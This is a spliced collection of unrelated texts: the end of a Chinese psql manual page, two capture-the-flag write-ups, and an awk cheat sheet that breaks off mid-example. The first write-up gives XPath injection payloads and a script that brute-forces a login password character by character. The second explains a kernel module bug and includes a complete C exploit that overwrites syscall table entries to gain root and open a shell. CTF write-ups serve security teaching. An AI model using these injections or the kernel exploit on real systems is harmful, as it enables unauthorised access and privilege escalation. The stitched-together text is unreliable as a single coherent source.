\fBHISTSIZE\fR
存在命令历史里的命令的个数。缺省值是 500。
.sp
.RS
.B "Note:"
注意: 这个特性是无耻地从\fBbash\fR 里剽窃来的。
.RE
.sp
.TP
\fBHOST\fR
当前你正联接的数据库服务器主机。 这是在每次你与数据库联接时(包括程序启动)设置的,但是可以删除。
.TP
\fBIGNOREEOF\fR
如果删除此变量,向一个交互的 psql会话发送一个 EOF (通常是\fBControl\fR+\fBD\fR)将终止应用。如果设置为一个数字值,那么在应用终止前该数值的 EOF 字符将被忽略。 如果设置了此变量但是没有数字值,缺省是 10。
.sp
.RS
.B "Note:"
注意: 这个特性是无耻地从\fBbash\fR 里剽窃来的。
.RE
.sp
.TP
\fBLASTOID\fR
最后影响的oid值,即为从一条 INSERT 或 lo_insert 命令返回的值。 此变量只保证在下一条 SQL 命令的结果显示之前有效。
.TP
\fBON_ERROR_STOP\fR
缺省时,如果非交互的脚本碰到一个错误,象一条错误的 SQL 命令或者内部元命令,处理会继续进行。 这是 psql 的传统特性, 但是有时候我们不太希望这样。如果设置了这个变量,脚本处理将马上停止。 如果该脚本是从另外一个脚本调用的,那个脚本也会按同样的方式停止。 如果最外层的脚本不是从一次交互的 psql 会话中调用的而是用 -f 选项调用的,psql 将返回错误代码 3,以示这个情况与致命错误条件的区别(错误代码 1)。
.TP
\fBPORT\fR
当前你正在联接的数据库服务器的端口。 这是在每次你与数据库联接时(包括程序启动)设置的,但是可以删除。
.TP
\fBPROMPT1\fR
.TP
\fBPROMPT2\fR
.TP
\fBPROMPT3\fR
这些指明psql 显示的提示符看上去象什么。 参阅下面的 "Prompting 提示符"。
.TP
\fBQUIET\fR
这个变量等效于命令行选项 -q。 可能在交互模式下没有什么用。
.TP
\fBSINGLELINE\fR
这个变量等效于设置命令行选项 -S。你可以在运行时删除或设置它。
.TP
\fBSINGLESTEP\fR
这个变量等效于命令行选项\fB-s\fR。
.TP
\fBUSER\fR
当前你正用于联接的数据库用户。 这是在每次你与数据库联接时(包括程序启动)设置的,但是可以删除/重置。
.TP
\fBVERBOSITY\fR
这个选项可以设置为值 default,verbose,或者 terse 以控制错误报告的冗余行。
.SS "SQL INTERPOLATION 代换"
.PP
一个附加的 psql 变量的有用特性是你可以把它们替换("代换")成正规的 SQL 语句。这样做的语法同样还是变量名前面加一个冒号(:)。
.sp
.nf
testdb=>\fB\\set foo 'my_table'\fR
testdb=>\fBSELECT * FROM :foo;\fR
.sp
.fi
将会查询表my_table。变量的值是逐字拷贝的, 所以它甚至可以包含不对称的引号或反斜杠命令。你必须保证你输入的东西是有意义的。 变量替换将不会在引号引起来的 SQL 语句里面发生。
.PP
利用这个功能的一个时髦的应用是通过使用一个随后的语句中最后插入的 OID 建立一个外键仿真场景。 另一个可能用到这个机制的地方是把一个文件的内容拷贝到一个字段里面去。 首先把文件装载到一个变量然后象上面那样处理。
.sp
.nf
testdb=>\fB\\set content '\\'' `cat my_file.txt` '\\''\fR
testdb=>\fBINSERT INTO my_table VALUES (:content);\fR
.sp
.fi
这样处理的一个可能问题是 my_file.txt 可能包含单引号。这些需要被逃逸以免在处理第三行时不会导致语法错误。 可以使用程序 sed 来做这个处理:
.sp
.nf
testdb=>\fB\\set content '\\'' `sed -e "s/'/\\\\\\\\\\\\'/g" < my_file.txt` '\\''\fR
.sp
.fi
观察正确数量的反斜杠(6)!你可以这样解释它:在 psql 分析完这行后,它把 sed -e "s/'/\\\\\\'/g" < my_file.txt 传递给shell。 shell 将对双引号里的东西做其处理然后用参数 -e 和
s/'/\\\\'/g 执行 sed。当 sed分析这些时, 它将把双反斜杠替换为单个反斜杠然后进行替换。 可能有时候你认为所有 Unix 命令使用同一个逃逸字符是个好事。 但具有讽刺意味的事实是你可能不得不逃逸所有反斜杠,因为 SQL 文本常量同样也惨遭这种解释。 这种情况下你可能最好在外部准备文件。
.PP
因为冒号也可以合法的出现在 SQL 命令里,便有下面规则的应用: 如果没有设置变量,字符序列 "冒号+名称" 不会被改变。 在任何情况下你都可以用反斜杠逃逸冒号以保护它免于被解释。 (变量的冒号语法是 SQL 用于嵌入查询语言的标准,如 ECPG。用于数组片段和类型转换的冒号语法是 PostgreSQL 扩展,因此有冲突。)
.SS "PROMPTING 提示符"
.PP
\fBpsql\fR 使用的提示符可以根据你的喜好客户化。三个变量 PROMPT1,PROMPT2,和 PROMPT3 包含描述提示符的外观的字串和特殊逃逸序列。Prompt 1 是 psql 请求一个新命令时的使用的正常提示符。 Prompt 2 是在一个命令输入期待更多输入时(因为查询没有用一个分号结束或者引号没有关闭)显示的提示符。 Prompt 3 在你运行一个 SQL COPY 命令和等待你在终端上键入记录时使用。
.PP
相应的提示符变量的值是按字面打印的,除非碰到一个百分号(%)。这时某些其他的文本被替换, 替换为何物取决于下一个字符。已定义的替换是:
.TP
\fB%M\fR
数据库服务器主机名全名(带着域名),如果联接是通过 Unix 域套接字进行的就是 [local], 或者如果 Unix 域套接字不是编译的缺省位置,就是 [local:\fI/dir/name\fR]。
.TP
\fB%m\fR
数据库服务器的主机名删去第一个点后面的部分剩下的东西。 或者如果联接是通过 Unix 域套接字,就是 [local]。
.TP
\fB%>\fR
数据库服务器正在侦听的端口号。
.TP
\fB%n\fR
数据库会话的用户名。 (这个值的扩展可能在一个数据库会话过程中因为\fBSET SESSION AUTHORIZATION\fR 命令而改变。)
.TP
\fB%/\fR
当前数据库名称。
.TP
\fB%~\fR
类似 %/, 但如果数据库是你的缺省数据库输出是"~" (波浪线(tilde))。
.TP
\fB%#\fR
如果会话用户是数据库超级用户,使用 "#",否则用">"。 (这个值的扩展可能在一个数据库会话过程中因为\fBSET SESSION AUTHORIZATION\fR 命令而改变。)
.TP
\fB%R\fR
对于 prompt 1 通常是 =,但是如果是单行模式则是 ^,而如果会话与数据库断开(如果\connect 失败可能发生)是 !。对于 prompt 2 该序列被 -,*,一个单引号或者一个双引号代替, 这取决于 psql是否等待更多的输入(因为查询没有终止,或着正在一个 /* ... */注释里面,或者因为你在引号里面)。对于 prompt 3 该序列不解释成任何东西。
.TP
\fB%x\fR
事务状态:如果不在事务块里,是一个空字串,如果在事务块里,是 *, 如果在一个失败的事务块里是 !,或者无法判断事务状态时为 ? (比如,因为没有连接)。
.TP
\fB%\fIdigits\fB\fR
如果 digits 以 0x 开头, 那么其余字符被解释成一个十六进制数字并且替换为对应(十六进制码)的字符。 如果第一个数字是 0,该字符被解释成一个八进制数字并且替换为对应的(八进制码)的字符。 否则认为是一个十进制数字。
.TP
\fB%:\fIname\fB:\fR
psql变量name的值。参阅 "Variables 变量" 节获取细节。
.TP
\fB%`\fIcommand\fB`\fR
command的输出, 类似于通常的反引号(back-tick)替换。
.PP
要在提示符里插入百分号,键入%%。缺省提示符等效于 '%/%R%# ' 用于 prompts 1 和 2,以及'>> ' 用于 prompt 3。
.sp
.RS
.B "Note:"
注意: 这个特性是无耻地从tcsh 里剽窃来的。
.RE
.sp
.SS "COMMAND-LINE EDITING 命令行编辑"
.PP
\fBpsql\fR 为了编辑和检索命令行的方便支持 readline 和历史库。 命令历史存放在你的家目录的一个叫 .psql_history 的文件里, 并且当 psql 启动的时候会装载进来。 还支持 Tab 补齐,尽管该补齐逻辑并不是一个 SQL 分析器必备的。 如果因某些原因你不喜欢 tab 补齐,你可以把下面几行放在你的家目录的一个叫\fI.inputrc\fR 的文件里关闭这个特性:
.sp
.nf
$if psql
set disable-completion on
$endif
.sp
.fi
(这不是 psql 的特性, 是\fBReadline\fR 的。参考它的文档获取更多细节。)
.SH "ENVIRONMENT 环境"
.TP
\fBHOME\fR
初始化文件(.psqlrc)和命令历史文件(\fI.psql_history\fR)的目录。
.TP
\fBPAGER\fR
如果查询结果在一页里放不下,那么它们被定向到这个命令。 典型的值是 more 或者 less。 缺省的是平台相关的。我们可以用\fB\\pset\fR 命令关闭分页器。
.TP
\fBPGDATABASE\fR
缺省连接的数据库
.TP
\fBPGHOST\fR
.TP
\fBPGPORT\fR
.TP
\fBPGUSER\fR
缺省连接参数
.TP
\fBPSQL_EDITOR\fR
.TP
\fBEDITOR\fR
.TP
\fBVISUAL\fR
\fB\\e\fR 命令使用的编辑器。这些变量是按照上面的顺序检查的;设置最早的最先使用。
.TP
\fBSHELL\fR
\fB\\!\fR 命令执行的命令。
.TP
\fBTMPDIR\fR
存储临时文件的目录。缺省是\fI/tmp\fR。
.SH "FILES"
.TP 0.2i
\(bu
在启动之前,psql 视图读取并 执行来自文件\fI$HOME/.psqlrc\fR 的命令。 它将用于设置客户端或者服务器的风格(使用\fB\\set\fR 和\fBSET\fR 命令)。
.TP 0.2i
\(bu
命令行历史存储在\fI$HOME/.psql_history\fR。
.SH "NOTES 注意"
.TP 0.2i
\(bu
一些 psql的早期版本允许一个单字母的反斜杠命令(元命令)的第一个参数直接跟在命令后面, 而不用空白间隔。出于兼容性原因,这个特性仍然在某些程度上被支持,但是我不准备在这里详细解释,因为我不鼓励这样使用。 不过如果你收到莫名其妙的信息,想想这个用法。例如
.sp
.nf
testdb=>\fB\\foo\fR
Field separator is "oo".
.sp
.fi
可能不是你想要的东西。
.TP 0.2i
\(bu
\fBpsql\fR 只能与同版本的服务器平稳地工作。 这不意味着其他组合会完全失败,但是可能有微小的或者不那么微小的问题。 如果服务器的版本不同,反斜杠命令是特别容易失效的。
.SH "EXAMPLES 例子"
.PP
第一个例子演示了如何把一个查询分成多个行进行输入。注意提示符的变化:
.sp
.nf
testdb=>\fBCREATE TABLE my_table (\fR
testdb(>\fB first integer not null default 0,\fR
testdb(>\fB second text\fR
testdb->\fB);\fR
CREATE TABLE
.sp
.fi
现在再看看表定义:
.sp
.nf
testdb=>\fB\\d my_table\fR
Table "my_table"
Attribute | Type | Modifier
-----------+---------+--------------------
first | integer | not null default 0
second | text |
.sp
.fi
把提示符变成更有趣的东西:
.sp
.nf
testdb=>\fB\\set PROMPT1 '%n@%m %~%R%# '\fR
peter@localhost testdb=>
.sp
.fi
假设你用数据填充了表并且想看一眼:
.sp
.nf
peter@localhost testdb=> SELECT * FROM my_table;
first | second
-------+--------
1 | one
2 | two
3 | three
4 | four
(4 rows)
.sp
.fi
你可以用\fB\\pset\fR 命令让这个查询看起来不一样:
.sp
.nf
peter@localhost testdb=>\fB\\pset border 2\fR
Border style is 2.
peter@localhost testdb=>\fBSELECT * FROM my_table;\fR
+-------+--------+
| first | second |
+-------+--------+
| 1 | one |
| 2 | two |
| 3 | three |
| 4 | four |
+-------+--------+
(4 rows)
peter@localhost testdb=>\fB\\pset border 0\fR
Border style is 0.
peter@localhost testdb=>\fBSELECT * FROM my_table;\fR
first second
----- ------
1 one
2 two
3 three
4 four
(4 rows)
peter@localhost testdb=>\fB\\pset border 1\fR
Border style is 1.
peter@localhost testdb=>\fB\\pset format unaligned\fR
Output format is unaligned.
peter@localhost testdb=>\fB\\pset fieldsep ","\fR
Field separator is ",".
peter@localhost testdb=>\fB\\pset tuples_only\fR
Showing only tuples.
peter@localhost testdb=>\fBSELECT second, first FROM my_table;\fR
one,1
two,2
three,3
four,4
.sp
.fi
还可以用短(缩写)命令:
.sp
.nf
peter@localhost testdb=>\fB\\a\\t\\x\fR
Output format is aligned.
Tuples only is off.
Expanded display is on.
peter@localhost testdb=>\fBSELECT * FROM my_table;\fR
-[ RECORD 1 ]-
first | 1
second | one
-[ RECORD 2 ]-
first | 2
second | two
-[ RECORD 3 ]-
first | 3
second | three
-[ RECORD 4 ]-
first | 4
second | four
.sp
.fi
.SH "译者"
.B Postgresql 中文网站
.B 何伟平 <laser@pgsqldb.org>
|
sec-knowleage
|
# X marks the spot
Category: Web, 250 points
## Description
> Another login you have to bypass. Maybe you can find an injection that works?
>
> Hint: XPATH
## Solution
Visiting the website, we are presented with a login form (and a Robert Frost poem):
```html
<div class="login-form">
<form role="form" action="/" method="post">
<div class="row">
<div class="form-group col-xs-6">
<input type="text" name="name" id="name" class="form-control input-lg" placeholder="username">
</div>
<div class="form-group col-xs-6">
<input type="text" name="pass" id="pass" class="form-control input-lg" placeholder="password">
</div>
</div>
<div class="row">
<div class="col-xs-4">
</div>
<div class="col-xs-4">
<input type="submit" class="btn btn-lg btn-primary btn-block" value="Login">
</div>
<div class="col-xs-4">
</div>
</div>
</form>
<!--
Two roads diverged in a yellow wood,
And sorry I could not travel both
And be one traveler, long I stood
And looked down one as far as I could
To where it bent in the undergrowth;
Then took the other, as just as fair,
And having perhaps the better claim,
Because it was grassy and wanted wear;
Though as for that the passing there
Had worn them really about the same,
And both that morning equally lay
In leaves no step had trodden black.
Oh, I kept the first for another day!
Yet knowing how way leads on to way,
I doubted if I should ever come back.
I shall be telling this with a sigh
Somewhere ages and ages hence:
Two roads diverged in a wood, and I—
I took the one less traveled by,
And that has made all the difference.
-Robert Frost
-->
</div>
</div>
```
The hint says "XPATH", and using some common XPATH injection techniques we can leak some information about the underlying DB. The idea is similar to SQL injection. We have a vulnerable query for authenticating the username and password which should be similar to:
```
string(//user[name/text()='" + input_username + "' and password/text()='" + input_password + "']/account/text())
```
So, if we inject some valid XPATH vocabulary into the query, we can manipulate it.
For example, let's inject:
```
' or string-length(//user[position()=1]/pass)>1 or 'a'='
```
This should tell us if the password of the first username is longer than 1 character. If we submit this as the username, we get back a response from the server telling us that "You're on the right path", so we can deduce that password is longer than 1. If we try this, on the other hand, we receive a "Login Failure":
```
' or string-length(//user[position()=1]/pass)>30 or 'a'='
```
So the password is shorter than 30 characters.
Let's use the following syntax to iterate some users and check if someone's password starts with `"pico"`:
```
' or //user[position()=1]/pass[starts-with(text(),'pico')] or 'a'='
```
We'll use `curl`:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/Wireshark_twoo_twooo_two_twoo]
└─$ for i in {0..10}
do
echo $i
curl -s 'http://mercury.picoctf.net:16521/' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw "name=' or //user[position()=$i]/pass[starts-with(text(),'pico')] or 'a'='+&pass=a" | grep right
done
0
1
2
3
<!-- <strong>Title</strong> --> You're on the right path.
4
5
6
7
8
9
10
```
We got a match for the third user. Now let's extract his password with the following script:
```python
from pwn import *
import requests
import string
import urllib
user_id = 3
password = ""
with log.progress('Brute-forcing password') as p:
index = 1
while not password.endswith("}"):
for c in string.ascii_letters + "{}_" + string.digits:
p.status(f"Index: {index}, known password: '{password}', trying: '{c}'")
r = requests.post("http://mercury.picoctf.net:16521/", data = {"name": f"' or substring(//user[position()={user_id}]/pass,{index},1)='{c}' or 'a'='", "pass": "test"})
if "right" in r.text:
password += c
break
else:
print(f"Can't find character for index {index}!")
break
index += 1
print(f"Password: {password}")
```
The script uses XPATH `substring` to brute force the password character by character.
Output:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/X_marks_the_spot]
└─$ python3 solve.py
[+] Brute-forcing password: Done
Password: picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_28cb0023}
```
The flag: `picoCTF{h0p3fully_u_t0ok_th3_r1ght_xp4th_28cb0023}`
|
sec-knowleage
|
# randumb (pwn, 250 + 15 pt, solved by 4 teams)
In this challenge, we're given an archive with compressed filesystem, kernel image and script for running an ARM virtual machine.
```sh
drwxrwxr-x aleph/aleph 0 2018-04-09 17:37 ./randumb/
-rwxrwxr-x aleph/aleph 272 2018-04-09 17:37 ./randumb/chall
-rwxrwxr-x aleph/aleph 2310840 2018-04-09 17:35 ./randumb/zImage
-rw-rw-r-- aleph/aleph 1059651 2018-04-09 17:37 ./randumb/rootfs.img.gz
```
After extracting the filesystem we can see `randumb.ko`, which means that we're going to pwn the kernel.
Fortunately, we don't have to reverse the binary as the chall author was nice and provided us with the source code located in `/src`.
Randumb module provides a character device `/dev/randumb` functionally similar to `/dev/urandom` with additional ioctls used for configuration. By setting appropriate config, we can enable debug output which is written to `/tmp/randumb.log`.
The function `debug_msg` looks quite interesting:
```c
static int debug_msg(char *msg, ...) {
// [...]
old_fs = get_fs();
set_fs(KERNEL_DS);
file = filp_open(DEBUG_FILE, O_WRONLY|O_CREAT|O_APPEND, 0644);
if (IS_ERR(file))
return -EINVAL;
// [....]
}
```
Functions called by `debug_msg` (opening file, writing to file) are normally called from user mode. Thus those functions have to validate pointers passed to them. Otherwise users would be able to leak kernel memory. In order to bypass those checks, `set_fs` is used to increase the `addr_limit` in `thread_info` struct. From this moment, all pointers passed to syscalls either from user or kernel space will be valid.
After doing this, function tries to open `/tmp/randumb.log` file for writing. If opening file fails, function immediately returns. And this is where the vulnerability occurs. Function doesn't restore `old_fs` before returning. If we can trigger this, we would be able to write into arbitrary memory with `read` syscall.
OK, but how to cause an error when trying to open a file? Fortunately, if we try to open a directory file in `O_WRONLY` mode it will return an error, so the only thing we have to do is to create a directory `/tmp/randumb.log`.
To become root, we're going to use standard `commit_creds(prepare_kernel_cred(0))`. To call those functions from userspace we'll overwrite entries in syscall table.
All those things lead us to final exploit:
```c
#include "randumb.h"
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
struct settings {
int charset;
int debug;
int debug_time;
int debug_uid;
};
void* get_symbol(char *symbol){
FILE *f = fopen("/proc/kallsyms", "r");
char c;
char buf[0x100];
void *addr;
while (fscanf(f, "%p %c %s\n", &addr, &c, buf) > 0) {
if (!strcmp(buf, symbol))
return addr;
}
return NULL;
}
int main() {
// Try to create /tmp/randumb.log directory
if (mkdir(DEBUG_FILE, 0) < 0) {
return -1;
}
int fd = open("/dev/randumb", O_RDONLY);
if (fd < 0) {
printf("Failed to open");
return fd;
}
struct settings set = {
.charset = CHARSET_NONE,
.debug = DEBUG_ALL,
.debug_time = DEBUG_ALL,
.debug_uid = DEBUG_ALL
};
// Enable debug mode
int x = ioctl(fd, IOCTL_SET_SETTINGS, &set);
if (x < 0) {
printf("Unable to set settings");
return -1;
}
void *sys_table = get_symbol("sys_call_table");
void *prepare = get_symbol("prepare_kernel_cred");
void *commit = get_symbol("commit_creds");
printf("sys_call_table %p\n", sys_table);
printf("prepare_kernel_cred %p\n", prepare);
printf("commit_kernel_creds %p\n", commit);
// Make sure that debug_msg is called
char c;
int len = read(fd, &c, 1);
// Use pipe as a way to read data from descriptor
int fds[2];
pipe(fds);
int out = fds[0];
int in = fds[1];
write(in, &prepare, 4);
// Overwrite syscall 100
read(out, (int*)(sys_table) + 100, 4);
write(in, &commit, 4);
// Overwrite syscall 101
read(out, (int*)(sys_table) + 101, 4);
// creds = prepare_kernel_cred(0)
int creds = syscall(100, 0);
// commit_creds(creds);
syscall(101, creds);
if (getuid() != 0) {
printf("pwn failed!\n");
return -1;
}
printf("pwned\n");
const char *args[] = {"/bin/sh", NULL};
execve(args[0], args, NULL);
return 0;
}
```
The last thing is to compile and run the exploit. Since there's no GCC on the VM itself, we have to compile it locally and send by copy-pasting into the terminal (I recommend gzip and base64 for that).
```bash
arm-linux-gnueabi-gcc pwn.c -static -o pwn
```
This is not an optimal solution since the binary it generates is quite big, but it avoids writing assembly.
Overall this was a really fun challenge and we've got the first blood. ;)
|
sec-knowleage
|
---
title: Awk
date: 2020-12-31 15:18:34
background: bg-slate-600
tags:
- bash
- text
- script
categories:
- Linux Command
intro: |
This is a one page quick reference cheat sheet to the [GNU awk](https://www.gnu.org/software/gawk/manual/gawk.html), which covers commonly used awk expressions and commands.
plugins:
- copyCode
---
Getting Started
---------------
### Have a try
```shell script {.wrap}
$ awk -F: '{print $1, $NF}' /etc/passwd
```
----
| - | - | - |
|---|---------------|---------------------------|
| | `-F:` | Colon as a separator |
| | `{...}` | Awk program |
| | `print` | Prints the current record |
| | `$1` | First field |
| | `$NF` | Last field |
| | `/etc/passwd` | Input data file |
{.left-text}
### Awk program
```
BEGIN {<initializations>}
<pattern 1> {<program actions>}
<pattern 2> {<program actions>}
...
END {< final actions >}
```
#### Example
```
awk '
BEGIN { print "\n>>>Start" }
!/(login|shutdown)/ { print NR, $0 }
END { print "<<<END\n" }
' /etc/passwd
```
### Variables {.row-span-2}
```bash
$1 $2/$(NF-1) $3/$NF
▼ ▼ ▼
┌──────┬──────────────┬───────┐
$0/NR ▶ │ ID │ WEBSITE │ URI │
├──────┼──────────────┼───────┤
$0/NR ▶ │ 1 │ quickref.me │ awk │
├──────┼──────────────┼───────┤
$0/NR ▶ │ 2 │ google.com │ 25 │
└──────┴──────────────┴───────┘
```
---
```
# First and last field
awk -F: '{print $1,$NF}' /etc/passwd
# With line number
awk -F: '{print NR, $0}' /etc/passwd
# Second last field
awk -F: '{print $(NF-1)}' /etc/passwd
# Custom string
awk -F: '{print $1 "=" $6}' /etc/passwd
```
See: [Variables](#awk-variables)
### Awk program examples {.col-span-2 .row-span-2}
```
awk 'BEGIN {print "hello world"}' # Prints "hello world"
awk -F: '{print $1}' /etc/passwd # -F: Specify field separator
# /pattern/ Execute actions only for matched pattern
awk -F: '/root/ {print $1}' /etc/passwd
# BEGIN block is executed once at the start
awk -F: 'BEGIN { print "uid"} { print $1 }' /etc/passwd
# END block is executed once at the end
awk -F: '{print $1} END { print "-done-"}' /etc/passwd
```
### Conditions
```
awk -F: '$3>30 {print $1}' /etc/passwd
```
See: [Conditions](#awk-conditions)
### Generate 1000 spaces
```
awk 'BEGIN{
while (a++ < 1000)
s=s " ";
print s
}'
```
See: [Loops](#awk-loops)
### Arrays
```
awk 'BEGIN {
fruits["mango"] = "yellow";
fruits["orange"] = "orange"
for(fruit in fruits) {
print "The color of " fruit " is " fruits[fruit]
}
}'
```
See: [Arrays](#awk-arrays)
### Functions
```
# => 5
awk 'BEGIN{print length("hello")}'
# => HELLO
awk 'BEGIN{print toupper("hello")}'
# => hel
awk 'BEGIN{print substr("hello", 1, 3)}'
```
See: [Functions](#awk-functions)
Awk Variables
---------
### Build-in variables
| - | - |
|----------------|-----------------------------------------------------|
| `$0` | Whole line |
| `$1, $2...$NF` | First, second… last field |
| `NR` | `N`umber of `R`ecords |
| `NF` | `N`umber of `F`ields |
| `OFS` | `O`utput `F`ield `S`eparator <br> _(default " ")_ |
| `FS` | input `F`ield `S`eparator <br> _(default " ")_ |
| `ORS` | `O`utput `R`ecord `S`eparator <br> _(default "\n")_ |
| `RS` | input `R`ecord `S`eparator <br> _(default "\n")_ |
| `FILENAME` | Name of the file |
### Expressions
| - | - |
|---------------------|------------------------------------|
| `$1 == "root"` | First field equals root |
| `{print $(NF-1)}` | Second last field |
| `NR!=1{print $0}` | From 2th record |
| `NR > 3` | From 4th record |
| `NR == 1` | First record |
| `END{print NR}` | Total records |
| `BEGIN{print OFMT}` | Output format |
| `{print NR, $0}` | Line number |
| `{print NR " " $0}` | Line number (tab) |
| `{$1 = NR; print}` | Replace 1th field with line number |
| `$NF > 4` | Last field > 4 |
| `NR % 2 == 0` | Even records |
| `NR==10, NR==20` | Records 10 to 20 |
| `BEGIN{print ARGC}` | Total arguments |
| `ORS=NR%5?",":"\n"` | Concatenate records |
### Examples
Print sum and average
```
awk -F: '{sum += $3}
END { print sum, sum/NR }
' /etc/passwd
```
Printing parameters
```
awk 'BEGIN {
for (i = 1; i < ARGC; i++)
print ARGV[i] }' a b c
```
Output field separator as a comma
```
awk 'BEGIN { FS=":";OFS=","}
{print $1,$2,$3,$4}' /etc/passwd
```
Position of match
```
awk 'BEGIN {
if (match("One Two Three", "Tw"))
print RSTART }'
```
Length of match
```
awk 'BEGIN {
if (match("One Two Three", "re"))
print RLENGTH }'
```
### Environment Variables
| - | - |
|-----------|-----------------------------------------------------------|
| `ARGC` | Number or arguments |
| `ARGV` | Array of arguments |
| `FNR` | `F`ile `N`umber of `R`ecords |
| `OFMT` | Format for numbers <br> _(default "%.6g")_ |
| `RSTART` | Location in the string |
| `RLENGTH` | Length of match |
| `SUBSEP` | Multi-dimensional array separator <br> _(default "\034")_ |
| `ARGIND` | Argument Index |
### GNU awk only
| - | - |
|---------------|-----------------------|
| `ENVIRON` | Environment variables |
| `IGNORECASE` | Ignore case |
| `CONVFMT` | Conversion format |
| `ERRNO` | System errors |
| `FIELDWIDTHS` | Fixed width fields |
### Defining variable
```
awk -v var1="Hello" -v var2="Wold" '
END {print var1, var2}
' </dev/null
```
#### Use shell variables
```
awk -v varName="$PWD" '
END {print varName}' </dev/null
```
Awk Operators
---------
### Operators
| - | - |
|------------------|-------------|
| `{print $1}` | First field |
| `$2 == "foo"` | Equals |
| `$2 != "foo"` | Not equals |
| `"foo" in array` | In array |
#### Regular expression
| - | - |
|-----------------|-------------------|
| `/regex/` | Line matches |
| `!/regex/` | Line not matches |
| `$1 ~ /regex/` | Field matches |
| `$1 !~ /regex/` | Field not matches |
#### More conditions
| - | - |
|------------------------|-----|
| `($2 <= 4 || $3 < 20)` | Or |
| `($1 == 4 && $3 < 20)` | And |
### Operations
#### Arithmetic operations
- `+`
- `-`
- `*`
- `/`
- `%`
- `++`
- `--`
{.cols-3 .marker-none}
#### Shorthand assignments
- `+=`
- `-=`
- `*=`
- `/=`
- `%=`
{.cols-3 .marker-none}
#### Comparison operators
- `==`
- `!=`
- `<`
- `>`
- `<=`
- `>=`
{.cols-3 .marker-none}
### Examples
```
awk 'BEGIN {
if ("foo" ~ "^fo+$")
print "Fooey!";
}'
```
#### Not match
```
awk 'BEGIN {
if ("boo" !~ "^fo+$")
print "Boo!";
}'
```
#### if in array
```
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
if ("foo" in assoc)
print "Fooey!";
}'
```
Awk Functions
----------
### Common functions {.col-span-2}
| Function | Description |
|-----------------------|---------------------------------------------------------------------------------|
| `index(s,t)` | Position in string s where string t occurs, 0 if not found |
| `length(s)` | Length of string s (or $0 if no arg) |
| `rand` | Random number between 0 and 1 |
| `substr(s,index,len)` | Return len-char substring of s that begins at index (counted from 1) |
| `srand` | Set seed for rand and return previous seed |
| `int(x)` | Truncate x to integer value |
| `split(s,a,fs)` | Split string s into array a split by fs, returning length of a |
| `match(s,r)` | Position in string s where regex r occurs, or 0 if not found |
| `sub(r,t,s)` | Substitute t for first occurrence of regex r in string s (or $0 if s not given) |
| `gsub(r,t,s)` | Substitute t for all occurrences of regex r in string s |
| `system(cmd)` | Execute cmd and return exit status |
| `tolower(s)` | String s to lowercase |
| `toupper(s)` | String s to uppercase |
| `getline` | Set $0 to next input record from current input file. |
### User defined function
```
awk '
# Returns minimum number
function find_min(num1, num2){
if (num1 < num2)
return num1
return num2
}
# Returns maximum number
function find_max(num1, num2){
if (num1 > num2)
return num1
return num2
}
# Main function
function main(num1, num2){
result = find_min(num1, num2)
print "Minimum =", result
result = find_max(num1, num2)
print "Maximum =", result
}
# Script execution starts here
BEGIN {
main(10, 60)
}
'
```
Awk Arrays
---------
### Array with index
```
awk 'BEGIN {
arr[0] = "foo";
arr[1] = "bar";
print(arr[0]); # => foo
delete arr[0];
print(arr[0]); # => ""
}'
```
### Array with key
```
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
print("baz" in assoc); # => 0
print("foo" in assoc); # => 1
}'
```
### Array with split
```
awk 'BEGIN {
split("foo:bar:baz", arr, ":");
for (key in arr)
print arr[key];
}'
```
### Array with asort
```
awk 'BEGIN {
arr[0] = 3
arr[1] = 2
arr[2] = 4
n = asort(arr)
for (i = 1; i <= n ; i++)
print(arr[i])
}'
```
### Multi-dimensional
```
awk 'BEGIN {
multidim[0,0] = "foo";
multidim[0,1] = "bar";
multidim[1,0] = "baz";
multidim[1,1] = "boo";
}'
```
### Multi-dimensional iteration
```
awk 'BEGIN {
array[1,2]=3;
array[2,3]=5;
for (comb in array) {
split(comb,sep,SUBSEP);
print sep[1], sep[2],
array[sep[1],sep[2]]
}
}'
```
Awk Conditions
----------
### if-else statement
```
awk -v count=2 'BEGIN {
if (count == 1)
print "Yes";
else
print "Huh?";
}'
```
#### Ternary operator
```
awk -v count=2 'BEGIN {
print (count==1) ? "Yes" : "Huh?";
}'
```
### Exists
```
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
if ("foo" in assoc)
print "Fooey!";
}'
```
#### Not exists
```
awk 'BEGIN {
assoc["foo"] = "bar";
assoc["bar"] = "baz";
if ("Huh" in assoc == 0 )
print "Huh!";
}'
```
### switch
```
awk -F: '{
switch (NR * 2 + 1) {
case 3:
case "11":
print NR - 1
break
case /2[[:digit:]]+/:
print NR
default:
print NR + 1
case -1:
print NR * -1
}
}' /etc/passwd
```
Awk Loops
----------
### for...i
```
awk 'BEGIN {
for (i = 0; i < 10; i++)
print "i=" i;
}'
```
#### Powers of two between 1 and 100
```
awk 'BEGIN {
for (i = 1; i <= 100; i *= 2)
print i
}'
```
### for...in
```
awk 'BEGIN {
assoc["key1"] = "val1"
assoc["key2"] = "val2"
for (key in assoc)
print assoc[key];
}'
```
#### Arguments
```
awk 'BEGIN {
for (argnum in ARGV)
print ARGV[argnum];
}' a b c
```
### Examples {.row-span-3}
#### Reverse records
```
awk -F: '{ x[NR] = $0 }
END {
for (i = NR; i > 0; i--)
print x[i]
}
' /etc/passwd
```
#### Reverse fields
```
awk -F: '{
for (i = NF; i > 0; i--)
printf("%s ",$i);
print ""
}' /etc/passwd
```
#### Sum by record
```
awk -F: '{
s=0;
for (i = 1; i <= NF; i++)
s += $i;
print s
}' /etc/passwd
```
#### Sum whole file
```
awk -F: '
{for (i = 1; i <= NF; i++)
s += $i;
};
END{print s}
' /etc/passwd
```
### while {.row-span-2}
```
awk 'BEGIN {
while (a < 10) {
print "- " " concatenation: " a
a++;
}
}'
```
#### do...while
```
awk '{
i = 1
do {
print $0
i++
} while (i <= 5)
}' /etc/passwd
```
### Break
```
awk 'BEGIN {
break_num = 5
for (i = 0; i < 10; i++) {
print i
if (i == break_num)
break
}
}'
```
### Continue
```
awk 'BEGIN {
for (x = 0; x <= 10; x++) {
if (x == 5 || x == 6)
continue
printf "%d ", x
